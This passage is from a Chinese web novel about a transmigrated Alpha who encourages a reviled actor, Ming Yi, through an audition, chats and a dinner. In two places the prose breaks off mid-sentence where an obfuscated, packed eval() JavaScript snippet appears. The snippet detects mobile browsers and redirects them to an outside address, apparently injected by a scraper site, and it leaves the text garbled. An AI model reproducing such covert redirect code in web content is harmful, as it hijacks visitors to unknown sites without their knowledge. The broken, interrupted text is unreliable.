谢云歇要讲他自己的故事了?明夷的注意力顿时被转移。 自从这位冒牌货先生出现后,他只猜到谢云歇似乎也有过跟他相同的困境,并且拥有对抗“剧情”的经验——但是最后失败了,才被系统带到了这个世界。 然而谢云歇具体经历了什么,明夷却知之甚少。 明夷好奇地看着谢云歇,等待他所谓的“鸡汤”。 谢云歇被明夷这么看着,后颈的腺体微热,他掩饰地轻咳一声,徐徐开口:“在遥远的abo世界,有那么一户人家,他们也抱错了孩子……” 这个“也”字就很有灵性了。 明夷目光难掩惊讶,忍不住思考,难道谢云歇之所以能被系统选中,就是因为,谢云歇也是“真假少爷”文里的炮灰? 谢云歇笑眯眯道:“这个剧情是不是很耳熟?你可以猜猜,我是真少爷还是假少爷。” “真少爷?”明夷想了想,真少爷才懂真少爷,所以谢云歇应该也是真少爷吧? “猜错了,”谢云歇叹息着摇了摇头:“我是真假少爷里的那个假少爷。” “当我刚拿到双学位,意气风发地从国外回来,准备接手家族企业时,谢家的真少爷回来了。”谢云歇垂下眼睫,无奈一笑:“我这个假少爷,理所当然被挤出了继承人的位置,落到了一种非常尴尬的境地。” 这又是跟明夷非常不一样的情况了。 在燕家,燕安这个假少爷可没有被挤出去。 明夷忍不住问:“然后呢?” “我是想离开的,我有自信,凭我自己的一双手,完全能够创造新的财富。”谢云歇话锋一转:“但是——没这么简单。” “谢家只有一个孩子,在真少爷还没回来之前,谢家全部的资源都朝我倾斜,就是为了把我培养成下一任的继承人。可想而知,凭真少爷的能力,他根本无法接手家族企业。” 明夷似乎猜到后面发生了什么:“所以他们让你……辅佐真少爷?” “嗯,我之前也确实享受到了谢家的资源,于情于理,这都是我该回报给谢家的。”谢云歇说的平淡。 “恰在此时,谢家的企业发生危机,我临危受命,准备前往股东大会力挽狂澜。” 谢云歇瞥了明夷一眼:“像你一样,做了一晚上的心理建设,焦虑得睡不着。” “我看了几个晚上的案例,准备了好几版话术,对着镜子练了许久的表情管理,打算用最佳的状态应对这场危机,力挽狂澜。” 谢云歇语气感慨:“那天,我气势汹汹地走进会议室,向一群老狐狸输出慷慨激昂的言论,然后——” 明夷情不自禁地问:“你成功了?” “然后……” 谢云歇微笑道:“我被保镖打了一顿,丢出了公司大门。” 明夷:“……” “你在想什么,”看到明夷茫然的表情,谢云歇好笑地摇了摇头:“我一个刚出象牙塔的愣头青,能玩得过那群老狐狸才怪,本来有谢家继承人身份在,他们或许还会对我客气点,可我就是一个冒牌货,一个无权无势的外人,他们凭什么对我客气?” 明夷抿唇:“你说过这是鸡汤的……” “是鸡汤,但不是无脑爽文,”谢云歇笑道:“后来我还是建立了我自己的商业帝国,这还不算鸡汤吗?” “我只是想说,有时候你感到焦虑,觉得自己做不好事情,或许并不是因为你能力差,而是因为,你缺少了一点经验和阅历。” 谢云歇看着明夷,语气很柔和:“而想要增长经验和阅历,就需要你去不断地尝试,不断地试错。” 明夷愣愣地看着他。 “我不太懂演戏的事,”谢云歇手指拨动了几下怀里的书籍:“但从我的经验看,与其止步不前,担忧虚无缥缈的未来,不如直接把脚下的荆棘踩出一条路来。” “希望我的鸡汤对你有效果。”谢云歇把手里的书递给明夷,鼓励他:“这是我给你另外找的一些书,你有空可以看看。” 明夷呆呆地接住书,看着谢云歇跟他道了声晚安,然后伸着懒腰走出了他的房间,还贴心地帮他带上了门。 过了半晌,明夷才起身去锁了门,回到床上,在灯光下翻看谢云歇给他的那些书。 在一本诗集里,明夷发现了一个书签,顺着书签 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15177691|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他翻到了那一页,看到了这篇被特殊标记过的诗歌——《不要温和地走进那个良夜》 明夷轻轻念出声: “不要温和地走进那良夜, 老年应当在日暮时燃烧咆哮; 怒斥,怒斥光明的消逝。” 是了,在得知这个世界只是一篇团宠文的那一刻,他的过往和未来全都失去了意义。 明夷感到愤怒,感到悲戚,感到可笑,感到绝望。 他曾经决定,他就要这样走进那个良夜,走进沉海死亡的结局,潦草结束他本就可笑的一生。 可谢云歇却对他说,不要温和地走进那个良夜。 明夷笑了,笑着笑着,眼中的泪一滴滴地落在书页上。 扪心自问,就这样死去,他难道甘心吗? 当然是不甘心的,名利,感情,理想……他没有得到任何他想要的,就要沦为他人人生中的恶毒炮灰,一声不响地死去。 他怎么能甘心? 之所以步入那个良夜,是因为他的面前,只有这唯一一条无望的路,他无法反抗。 可现在,有人跟他说,“不如直接把脚下的荆棘踩出一条路来”。 这一刻,明夷忽然意识到,在这条荆棘之路上,再也不是他一个人踽踽独行了。 他可以拒绝走入那个良夜,抓住最后的一线光明。 是谁为他决定了这样的命运? 是谁操控了这个世界,将它变成一篇围绕着一个人转的团宠文? “怒斥,怒斥光明的消逝。” 明夷喃喃道。 是的,他宁可痛苦,不要麻木。 - 第二天,明夷准时抵达了试镜场地。 除了他以外,还有另外三个演员,见到明夷进来,每个人脸上多多少少都露出了一点异样神色。 毕竟明夷的演技是圈里出了名的烂。 明夷没有理会周围投来的视线,专心揣摩剧本人物。 明夷看过原著,他要试镜的反派应不染是个相对来说比较复杂的角色。幼年时,应不染只是个乞儿,在做了一系列坏事后,他一步登天,成为修真界赫赫有名的无妄仙君。 然而,就在应不染即将飞升之前,他生出了心魔,为了解开心魔,他开始暗中报复之前的所有仇家——直至跟正义的主角团对上。 在调查的过程中,主角团根据各种线索拼凑出应不染的过往,最终在无妄山之巅跟应不染进行决战。 应不染战力很高,前期打得主角团毫无还手之力,最后之所以落败,也是因为主角团借用了那些不堪的过往,催发了应不染的心魔。 ——一个非常典型的反派角色,是明夷从未尝试过的类型。 明夷之前很怕自己演不好这样的角色,但想到谢云歇昨晚的“鸡汤”,明夷就觉得还好,他可以接受失败的后果了。 至少他演不好,不会被导演和制片打出来,丢在外面的大马路上…… 所以,就这样吧,不用抱太高的期待,单纯体验一下演戏的感觉也不错。 明夷将自己代入应不染的经历与心境,等到轮到他,他平静地站起身,走了进去。 17.谁是坏小狗? 明夷进去的时候,纪导正跟身边的人说着什么,那人皱着眉,神色满是无奈,明夷隐约听到一句“别挑了,就xx吧”,话语声便随着他的进入戛然而止。 在此明夷进来之前,纪导跟选角团队发生了一些分歧,无法及时找到主演的焦躁已经蔓延至整个团队,选角团队看中了第三个试镜的演员,演技尚可,自带一定流量,也有在大荧幕上表演的经验,唯一的缺点,也就是年龄略大,五官偏硬朗。 跟年纪轻轻便臻至化境的无妄仙尊不太搭——换而言之,不够仙气。 就因为这个缺点,纪导固执己见,认为那个演员无法胜任这个角色,坚持要试完所有到场演员再做决定。 一时间,气氛僵持不下,明夷的到来,更将这种诡异的气氛推向巅峰。 明夷是谁?娱乐圈知名花瓶,纪导是有多“求贤若渴”,才会给明夷也发了试镜邀请? 众人纷纷皱起眉,数道审视的目光落在明夷身上。 凭心而论,明夷的外形确实足够年轻漂亮,没人能在那张脸上挑出什么毛病,但作为一个演员,演技太烂,就是原罪,即便有张漂亮脸蛋,演技辣观众眼睛,也是白搭。 纪导同样望着明夷,邀请明夷试镜,本就是他无可奈何之下的一次冒险尝试,其实他没有抱太大希望,可现场看到真人后,他又产生了那种被拨动心弦的感觉。 那是一种微妙而特殊的气质,既脆弱,让人忍不住产生非常恶意的摧毁欲,又不屈,像是在冰原之下燃起的微弱火焰,让人想破开冰层,触碰那丝隐藏至深的温暖。 纪鸿往往将它称之为——故事感。 意外地适合应不染这个角色。 就是不知道,这位被称之为花瓶的演员,究竟有没有本事担起这个角色。 在数道怀疑的目光下,明夷说不紧张是不可能的,他只能以谢云歇的经历安慰自己:就算演砸了也不会被打出去,已经比谢云歇的创业开局好很多了。 这么想着,明夷的心情渐渐平缓下来。 谢云歇可以在恶劣条件下绝地翻盘,作为谢云歇的合作者,他的心态也不能太差。 明夷言语清晰地做了自我介绍,进入试镜环节。 选角团队显然对明夷没抱什么希望,但既然人都来了,也不好直接叫人走,便直接选了一段较难的场景,让明夷表演,目的是让明夷知难而退。 他们选取的,正是最终决战里的关键场景,应无染被主角激发心魔,在心魔幻境里,应无染看到过去苟且偷生,手染鲜血的自己,又哭又笑,逐渐疯魔。 难的正是这段“又哭又笑,逐渐疯魔”的演绎。 按照选角团队对明夷的了解,作为娱乐圈公认的花瓶,明夷恐怕连哭都哭不出来,更别说向镜头表达出更深、更复杂的感情了。 众人有些烦躁地望着明夷,希望他知难而退,赶紧离开,不要耽误大家的时间。 可下一秒,事情的发展完全出乎他们的意料—— 毫无预兆地,明夷的眼睑迅速泛红,一滴泪迅速凝聚,簌簌地划过他面无表情的脸庞,完整落下。 他说哭就哭,倒把原本对他毫无期待的众人惊了一下,这、这么丝滑的吗? 这还没完,紧接着,明夷蓦然笑了一声,即将下垂的唇角却被竭力地压抑着,抿成了不近人情的直线,透着一股不肯将脆弱示人的倔强。 可即便他紧抿着唇,死咬着牙关,自嘲自厌的笑仍从齿关里溢了出来。 压抑过后,他终于笑出了声,肩膀微颤,连脸上的肌肉都在颤抖,又笑又哭,形色癫狂,任谁都能看出他的悲伤和痛苦。 这段表演可谓是非常有感染力,堪称完美地达到了剧本的要求,把众人都看得一愣一愣的。 啊,谁说这演技差的,这演技不是挺好的吗?? 要层次有层次,要感情有感情,这还叫花瓶的话,那娱乐圈里岂不都是一堆没成型的泥胚子了! 纪鸿目光发亮,又挑了另一段让明夷演。 是一段仇敌见仇敌的对手戏,应无染站在仇敌面前,剑指仇敌,含恨揭露了仇敌丑恶的嘴脸。 明夷擦了擦脸,快速收敛情绪,演下一场戏。 为了追逐燕安,超过燕安,明夷曾一度试图模仿燕安的演戏技巧。 可这一刻,他的脑海里完全想不起那些所谓的技巧。 仇恨,他自己就有。 是的,仇恨的烈火,早已在他十四岁回到家,发现燕安占据家人所有爱的那一刻,便开始在他心中熊熊燃烧。 “——每晚午夜梦回,从噩梦中惊醒之际,我都在想,我一定要杀了你!” “要让你从万丈光辉中跌落,让世人看清你伪善的嘴脸!” 那股恨意太满了,满得几乎要从锋利的眼神、颤抖的话语里溢出来。 明夷阴暗地注视着燕安,真情实感地恨着燕安。 他多想时光倒回,回到被互换的那一刻,斩断和燕安的这场孽缘! …… 表演结束了,明夷缓缓放下手中的道具剑,将它放回原位,直到松手时,明夷才发现,他的手指因为刚刚攥剑攥得过度用力,此刻已然有些酸麻。 情绪被尽数宣泄出去,明夷只觉自己这具躯壳变得空空荡荡,像一个失去所有感情的傀儡。 他听到纪导说让他回去等消息,身体自发完成礼貌离开的流程,等他回过神来,已经回到车里。 经纪人徐姐紧张地凑过来,问他试镜得如何,明夷只道:“纪导让我回去等消息。” 经纪人闻言也不见失落,笑着鼓励他道:“别担心,一般流程都是这样的,你还有机会。” 明夷却并没像徐姐担忧的那样陷入失落,他就像经历了一场高考,考完后精疲力尽,但出了考场后,又有某种超脱感。 再难的试,也已经考完了,分数有多少,结果如何,皆听天由命。 明夷甚至还说:“我觉得这次演得挺好的。” 都没有被人当场用一言难尽的目光看呢。 而且明夷觉得,光从剧本上来说,自己的情绪很到位。 要感情有感情,要演技有感情。 没有技巧,全是感情。 这次也算是瞎猫碰上死耗子,试镜时要哭,这恰好是明夷最近的常态。 在得知世界的真相后,在被人渣谢云歇残忍对待后,那种被所有人遗弃的无助与悲痛,经常会破开明夷的心防,逼得他蜷缩着躲在角落里,痛苦地落下泪。 试镜要他恨,又是那么恰巧,明夷经常痛恨着某些虚伪的人,痛恨着这个命不由己的世界。 明夷自嘲又轻松地想,管它能不能选上,至少这次演爽了。 “对了,”身边的徐姐像是想到什么,忽然从保温袋里拿出什么东西,笑眯眯地递给他:“这是谢总让我给你的,谢总说,这是他给你的试镜礼物。” 明夷回过神,看向徐姐手里的东西。 ……是一盒独角兽造型的奶油小蛋糕。 明夷抿了抿唇,舌尖仿佛品尝到了一丝甜味,他迟疑地看着那盒小蛋糕,有点想不明白,谢云歇为什么要送他这个。 但他还是把蛋糕接了过来,挖了一勺,送进嘴里。 甜滋滋的味道在舌尖蔓延开来,甜味很好地安抚了复杂多变的心情,短暂地带来了精神上的愉悦。 明夷眯了眯眼,一口一口地把蛋糕吃完了。 以后还不知道有没有戏拍,今天就暂时不考虑蛋糕的热量有多少了。 回到家,小松熊听到声音,屁颠屁颠地跑到玄关迎接,明夷被嘤嘤呜呜的小松熊扑到腿上,干脆蹲下来撸了一会儿毛绒绒的小狗,心情一下子转好。 但这种好心情,却在明夷看到被撕碎的沙发抱枕时戛然而止。 明夷:“……小松熊!你又干坏事了!” 小松熊支棱着耳朵,萌萌的大眼睛看着明夷,无辜歪头。 两脚兽在说什么,小狗听不懂耶。 小狗过于可爱,导致明夷板了五秒脸便偃旗息鼓,认命地去收拾残局。 老管家还在请病假,谢宅里的佣人也被遣散了,谢云歇只请了钟点工和做饭阿姨,这时已经到饭点了,阿姨正在厨房里做饭,钟点工则还没到上门打扫的时间。 明夷在大别墅里转了一圈,终于找到了扫帚和簸箕,准备开始打扫狼藉的客厅。 这时,明夷的手机震动了一下,收到了一条消息。 明夷单手拎着扫帚,另一只手打开手机,看到一个头像是狼,昵称为“饿狼传说”的好友给他发来的消息:【我好饿,兄弟,你中午吃什么?】 明夷:“?”这谁? 明夷上翻聊天记录,这才辨认出来,这人是谢云歇。 明夷:“……” 这昵称和头像,放在别人身上有点土,但放在谢云歇身上,莫名就很适配呢。 明夷回复他:“阿姨还没做好,你还没吃饭吗?” 饿狼传说:【我还在开会,好无聊,好饿,偷偷摸会鱼。】 饿狼传说:【你吃到我给你送的蛋糕了吗?】 明夷:【吃到了。】 明夷想了想,还是决定问问谢云歇,为什么会想到给他送蛋糕。 明夷:“为什么送我蛋糕?” 饿狼传说:【因为吃点甜的,心情就会变好,所以每次我干完什么大事,都会吃点甜的。】 明夷顿了一下,回复他:“谢谢,蛋糕的效果很好。” 明夷回复期间,小松熊在明夷脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15196743|163640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边转来转去,见明夷不理自己,它不甘寂寞地开始撕咬明夷的裤脚,明夷如梦初醒,看到满地狼藉,忍不住给谢云歇拍了张照。 明夷:【图片】 明夷:【我回来的时候,沙发上的抱枕被坏小狗撕碎了。】 谢云歇输入了整整一分钟,才回复明夷 饿狼传说:【其实……抱枕是我撕碎的,早上我一想到要上班开会,一股神奇的蛮力就控制了我,令我徒手撕碎了整个抱枕,小松熊围着我团团转,劝我别这么做,会被你骂的!但我没听……】 明夷:【?】 饿狼传说:【反正绝对不是小松熊干的!你不许说它是坏小狗!】 明夷:【……】 谢云歇在说什么啊,他以前明明当着自己的面说过,小松熊是坏小狗。 明夷怀疑谢云歇是被饿得神志不清了,这不,都开始胡言乱语了。 明夷:【那谁是坏小狗,你吗?】 发出这段话后,明夷又觉得有点不妥,赶紧撤回了。 没想到下一秒,谢云歇的消息弹了出来。 饿狼传说:【汪汪!】 这消息一闪而逝,因为很快,谢云歇也手速极快地撤回了。 明夷:“……” 虽然消息都被撤回了,但两人都很确信,对方已经看到了彼此的消息。 嗯……原本只是正常的调侃和接梗,但一撤回,感觉性质就有点变了。 好像他们在玩什么见不得人的play似的…… 好怪。 对话框安静了很久,久到阿姨做好菜端上桌,明夷开始吃饭,谢云歇的下一条消息才弹过来。 饿狼传说:【兄弟,晚上我们去吃地锅□□!】 话题跳得太快,明夷都有点没反应过来:【去哪吃?】 饿狼传说:【我来安排,等我回来接你。】 明夷想了想,回复了一个:【嗯。】 现在明夷没有工作,无所事事,出门吃点好吃的也不错。 吃完饭后,明夷打扫了客厅,难得悠闲地进行了午休,小睡一觉。 等他醒来,已是下午三点。 手机上多了一条消息,发信人却不是谢云歇,而是来自于之前加的纪年。 一直死寂的通讯录,今天似乎变得格外热闹。 纪年:【之前让你去看心理医生,你看过了吗?[盯]】 明夷愣了片刻,回复:【我没有去……我感觉我现在已经好很多了。】 纪年:【我不要你觉得,有些人还觉得自己心如止水呢,结果一看心电图,人已经走了有一会了!】 明夷:“……” 明夷拒绝不了纪年的好意,便答应道:【谢谢,明天我有空,会去看医生的。】 其实明夷觉得自己没问题,归根到底,他之所以心生郁结,只是因为生活跌落谷底而已。 比起生活中的挫折,他真正心烦的难题,是无法摆脱未来必死的局面。 而这个问题,恰好是心理医生绝对解决不了的超自然因素。 又是剧情又是系统,这种超自然问题,就算看医生也解决不了吧…… 但是,难得有人记挂着他,明夷愿意为着纪年的好意做一次尝试。 纪年得到答复,满意了:【别怪哥多事啊,看一看没坏处,心理问题是很要紧的事。】 明夷真心实意打字:【我知道的,谢谢纪年哥。】 纪年话锋一转:【对了,还有一件事,你最近是不是得罪谁了,又有人买你黑热搜了。】 黑热搜? 明夷打开微博,一眼看到明晃晃挂在热搜上的词条:#应不染燕明夷# 点进去一看,是狗仔今天偷拍他的图,照片显示,明夷同样参加了《升仙》剧组“应不染”一角的试镜。 就此照片,营销号对明夷不自量力的行为各种内涵暗讽,原著粉则谩骂明夷不自量力,也不洗把脸看看自己配不配,居然还敢觊觎这个角色。 骂声一片,明夷随便看了几眼,便退了出去。 被骂是常态,明夷早就练就了看到谩骂依旧心如止水的本事。 随便骂好了,他直接卸载微博。 以后大概率也用不上微博了。 明夷不认为凭那几段表演,自己就能够打败其他有资历的竞选者,拿下应不染这个角色。 但热搜还是要处理的。 有人故意黑他,肯定是想从他身上拿到什么好处,明夷非常不想看到坑他的那个人得偿所愿。 徐姐接了明夷的电话,得知来龙去脉后,淡定安抚他道:“没事,不用在意那些跳梁小丑,我们这边就快处理好了。” 明夷应了声好,就再也没关注过网上的流言蜚语。 18.地锅鸡夜谈 傍晚,谢云歇如约而至,接上明夷,开了半个小时的车程,抵达了一家很有烟火味的店。 明夷戴着口罩下了车,环顾四周略显荒凉的街道,这家店的位置有点偏,不知道谢云歇怎么找到的。 好在店面虽不大,里面也有包间,确保了隐私性。 服务员当着两人的面现炒鲜鸡,贴饼子,谢云歇则优雅地挽起低奢衬衫的袖口,优雅地烫了烫碗筷,然后风度翩翩地询问明夷:“要不要帮你也烫一下?” 不知道的,还以为他身处米其林餐厅,而不是有着土味装潢的地锅鸡餐馆…… 明夷心情复杂地朝热水壶伸出手:“不用,我自己来。” 现炒的地锅鸡需要等待一段时间,这期间,他们自然而然地聊了几句。 氤氲的热气中,谢云歇问明夷:“今天试镜感觉如何?” 明夷摘下口罩,将它随手放到一边,浅浅叹息道:“感觉不怎么样,没有什么技巧,基本都在凭感觉瞎演。” “这样啊,”谢云歇沉思道:“那个剧本我也看过,其实我觉得你很适合那个角色,就算凭感觉演,效果也不会太差的。” 明夷想了想,真心实意道:“确实,演起来很有共鸣,跟以前的感觉完全不一样,这是一个非常好的角色,如果我能演就好了。” 谢云歇见过明夷最狼狈的时刻,也清楚地了解明夷所有的痛恨和意难平,所以在谢云歇面前,明夷抛却伪装,敞开心扉,将自己的想法和盘托出。 明夷难得如此坦诚,听到这里,谢云歇忍不住微微笑起来:“说起来,以前我在桥洞底下给人算过命,算得挺准,要不要给你算一卦事业运?第一单免费。” 明夷:“?” 为何谢云歇总是如此,当你以为他很正常的时候,他总会时不时语出惊人一下? 明夷打量谢云歇,目光中难掩怀疑:“你,桥洞底下算命?” 谢云歇叹气:“唉,这就要从我不甘屈从于谢家安排,永远给真少爷当全职保姆,于是毅然决然地脱离谢家,自立门户说起了。” “那天雨下得好大,我揣着兜里仅剩的十块钱,淋得像条落水狗,只好蹲在桥洞底下给人算命,赚来了创业的第一桶金……” 明夷半信半疑道:“你真会算命?” “当然。”谢云歇自信回答:“给我你的手。” 明夷其实是不信的,但看着谢云歇一副胸有成竹的样子,他还是没忍住好奇心,把手递给他了。 谢云歇捏着明夷的手,眯眼凝视明夷的手心。 因为做过很多农活,明夷的手上有一层薄薄的茧,谢云歇下意识用指腹摩挲了一下,想知道是什么手感,明夷猝不及防,立即痒得蜷缩起手指,瞪谢云歇:“你算命前都会摸一下顾客的手吗?” 偷摸人家手,还被发现了,谢云歇有点心虚,但面上依旧理直气壮:“这是必要的流程,我需要用手指丈量你事业线的长度。” 明夷:“那你丈量出什么了?” 谢云歇:“你看你这个事业线,是不是跟生命线交叉了,这叫小人纹,说明你年轻时会受小人阻碍,只要跨过这个坎,就能成就自己的新天地了。” 他还没说完,喝一口茶水,煞有其事道:“你再看这个生命线,是不是被截断了,但是没关系,还是上面那句话,跨过那个坎,就能过上好日子了。” 明夷倒也配合,乖乖问他:“那请问大师,我要怎么度过这个坎呢?” 谢云歇:“简单,是什么截断的它,就用什么破,既然是事业线截断的它,那么努力搞事业可解。” 谢云歇的指尖,又在明夷手心的某处轻刮了一下:“你看你事业线后来这么粗,必定是在娱乐圈获得了举世瞩目的成就,而两线相辅相成,事业线粗了,生命线也跟着变粗了。” 明夷忍着痒意,脑海里飞快地转过一系列想法。 谢云歇是在提醒他,只有在娱乐圈获得很高的成就,他才能摆脱剧情和系统的控制,活到大结局吗? 方法他已经get到了,可是谢云歇……谢云歇能不能别再挠他手心了? 好痒。 明夷蜷缩手指也无法躲开那种瘙痒,便试图收回手,没想到谢云歇下意识把他的手攥紧了,不让他缩回去:“这位客人,我还没看完呢。” “不看了,”明夷憋着一股气说:“你看上去有点不太靠谱。” 谢云歇顿时不满:“哪里不靠谱了!找我算过命的都说好!无一差评!你倒是说说,你哪里不满意?我可以改。” 明夷盯着他,缓缓道:“靠谱的大师,不会乱摸顾客的手,还一直拉着不放。” “……” 明夷都说到这个份上,谢云歇只好讪讪松开了他的手,恰在这时,服务员进来打开锅盖,白色水汽氤氲升起的瞬间,两人都看不清彼此的脸。 谢云歇搓了搓手指,稍稍有点懊恼,刚刚也不知道怎么回事,他的手指好像黏在明夷手上,怎么都挪不开了,明夷的手上也没粘胶水啊? 还是说,其实是他Alpha的劣根性犯了,看到好看的人就想摸他手? 真是太色了,太没道德了! 谢云歇狠狠唾弃自己。 谢云歇的对面,明夷也在偷偷搓手心,试图驱散那股痒意。 明夷虽然觉得有点奇怪,但想了想,谢云歇也是一片好心,想借着算命的方式指点自己,应该不是故意摸他的手的。 之前被系统胁迫的时候,谢云歇都没占他便宜啊,更别说现在了。 两人各自在心里找好了借口,待水雾散去,他们都恢复了表面上的若无其事。 “吃吧,可以吃了。”谢云歇拿起筷子,没话找话。 明夷“嗯”了一声,同样拿起了筷子。 出乎意料的是,这家店的地锅鸡格外的香,明夷吃了几块鸡肉,就根本想不起来刚刚的事了,只顾着夹菜吃。 谢云歇看他似乎很喜欢的样子,不免得意:“我特意找的店,怎么样,好吃吧?” “好吃,”明夷吃得抬不起头,抽空问他:“你怎么找到这家店的?” 谢云歇:“就各种平台看攻略,都是经验——你再尝尝这个饼子,这个也好吃。” 店家贴了十个饼子,一人五个都还不够吃,谢云歇直接又让服务员再贴十个饼。 服务员端着盆走了进来,目光瞥到摘下口罩的明夷,眼神不由多了几分迟疑,忍不住盯着明夷看了又看。 明夷大方地任他看,反正他黑料够多,再加个“傍晚携陌生男子同吃地锅鸡”的爆料也无伤大雅。 服务员最后很有职业道德地没多说什么,手脚麻利地贴了饼,多瞄了明夷几眼,才慢吞吞走出了包间。 等待新饼子出炉的时候,谢云歇拿起手机,回了几条消息,明夷托着下巴,盯着袅袅升起的水蒸气,忽然问他:“你把头像和昵称改成那样,没问题吗?” 谢云歇的手机里应该有很多合作伙伴,或是其他认识的人,谢云歇修改昵称头像,忽然风格大变,算不算在外人面前崩了人设? 谢云歇从容道:“没事,那是工作号,这是我私人号。” “而且,”谢云歇顿了顿,无奈道:“我不是真的谢云歇,未来会有自己的社交圈,两者肯定要划分开来的。” 明夷将视线转向他,目光露出些许疑惑。 谢云歇不是正被系统操控着吗?他准备怎么绕过系统,发展出自己的社交圈? 谢云歇看出明夷的疑惑,指了指自己的后颈,提醒他:“你忘了,我是个Alpha,如果没有抑制剂,易感期会很危险。” 明夷神色微微一动,透出点惊讶:“难道你打算——在这个世界研发抑制剂?” 谢云歇点头,也露出几分无奈之色:“只能试试了,毕竟研制不出抑制剂,我信息素紊乱的病就会发作,也没法帮系统做事了。” 言下之意,正是为了确保谢云歇能走完剧情,系统才会同意他这样操作。 明夷还是觉得,谢云歇的这个想法太过天方夜谭:“……你准备怎么研制抑制剂?” “我记得抑制剂的配方,如果能在这个世界找到相同的材料……说不定能成功。”谢云歇这时候看上去又格外沉稳靠谱了:“总之,我准备先找个生物实验室进行合作,然后再开展相关研究。” 明夷微微抿唇:“你已经开始找实验室了吗?” 谢云歇点了点头。 明夷还是有些忧心,忍不住问:“如果他们发现你的腺体,会不会把你抓起来,当作外星人研究?” 明夷的问题太可爱了,一个没忍住,谢云歇笑出了声:“那倒不会,据我这些天查的资料来看,我们abo世界所谓的腺体,大概会被定义成某种罕见的肿瘤结构。” “嗯,确切的来说,是一种会影响人体各种激素水平的肿瘤结构。” 闻言,明夷努力调动有限的生物知识:“既然跟激素挂钩 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结果在多年后的今天,他真的吃到了,想吃多少就吃多少,味道还比记忆中的还要香。 有种曾经的遗憾被满足的幸福感。 谢云歇去买单了,明夷作为明星不好在外逗留,便先出来坐上了副驾驶。 过了一会儿,谢云歇出来了,上车就跟明夷说:“那个老板大概认出了你,非说要给我们这桌免单。” “你怎么说的?” “我当然拒绝了!吃饭不付钱,这不是给你招黑吗?于是我硬是付了钱,却将身一扭,反从老板热情的双臂里逃走了。” “……”不知道说什么,但莫名被戳中笑点,于是笑了一下。 谢云歇发动车子,往家的方向开。 一顿饭过后,明夷对谢云歇这个异界来客产生了更多好奇,凑过去一点,问他:“你们那个世界的车,跟这个世界一样吗?” 谢云歇:“一样,除了车的品牌不同,开车手法没区别。” 明夷“哦”了一声,又问:“抑制剂是打在静脉吗?还是直接腺体注射?” “可以静脉,但腺体注射效果更好,也更难操作,”谢云歇可疑地顿了一下,然后有点难以启齿地说:“特别是易感期发作的时候,Alpha往往会手抖得扎不中腺体……所以只能扎静脉。” 明夷想想了一下那个画面,有点起鸡皮疙瘩:“那岂不是除了beta,Alpha和omega都要学会静脉注射?” 谢云歇还从未想过这个角度,他迟疑道:“好像是……生理课上似乎是有这么一节课。” 明夷陷入沉思:“那我是不是也要学一学静脉注射,如果以后你需要……” 随着明夷的话语,谢云歇想到明夷“帮助”他的那个画面,忽然一哆嗦:“不行!要是真到了易感期,你千万别靠近我。” beta虽然不能像omega那样,释放信息素吸引Alpha,但如果beta贸然靠近易感期的Alpha,也不是绝对的安全。 有一定的概率,beta会被失去理智的Alpha按住,继而被肆无忌惮地侵/犯。 就连谢云歇也不敢保证,自己易感期的时候能完全维持理智,不去伤害明夷。 毕竟明夷,是他实打实喜欢了很久的纸片人老婆啊…… 因为喜欢了很久,所以谢云歇不想明夷就这么死去,所以谢云歇不停鼓励明夷,给他破局的提示,希望他能走出这段灰暗的时光,拥有幸福而完整的一生。 谢云歇很清楚,真正的自己究竟是个什么货色,他希望自己能帮助明夷走出困境,成为明夷生命中一个重要的过客,但又不希望明夷太过靠近自己,最终反倒被自己伤害…… 明夷不知道谢云歇脑海里在乱七八糟地想着什么,听到谢云歇的回答,明夷不疑有他,自顾自地点头:“也是,专业的事还是得交给专业的人。” 谢云歇目视前方,扯扯唇角,扬起一缕没什么情绪的笑。 今晚的明夷,看上去心情很好,连话都变多了。 看来他找的店很合明夷的口味。 真好,那顿明夷小时候没吃上的地锅鸡,他为明夷补上了。 在两人吃饱喝足,悠闲回家的同时,一场越来越大的风暴正在席卷网络。 但此时的明夷,还对接下来即将收到的消息毫无预料。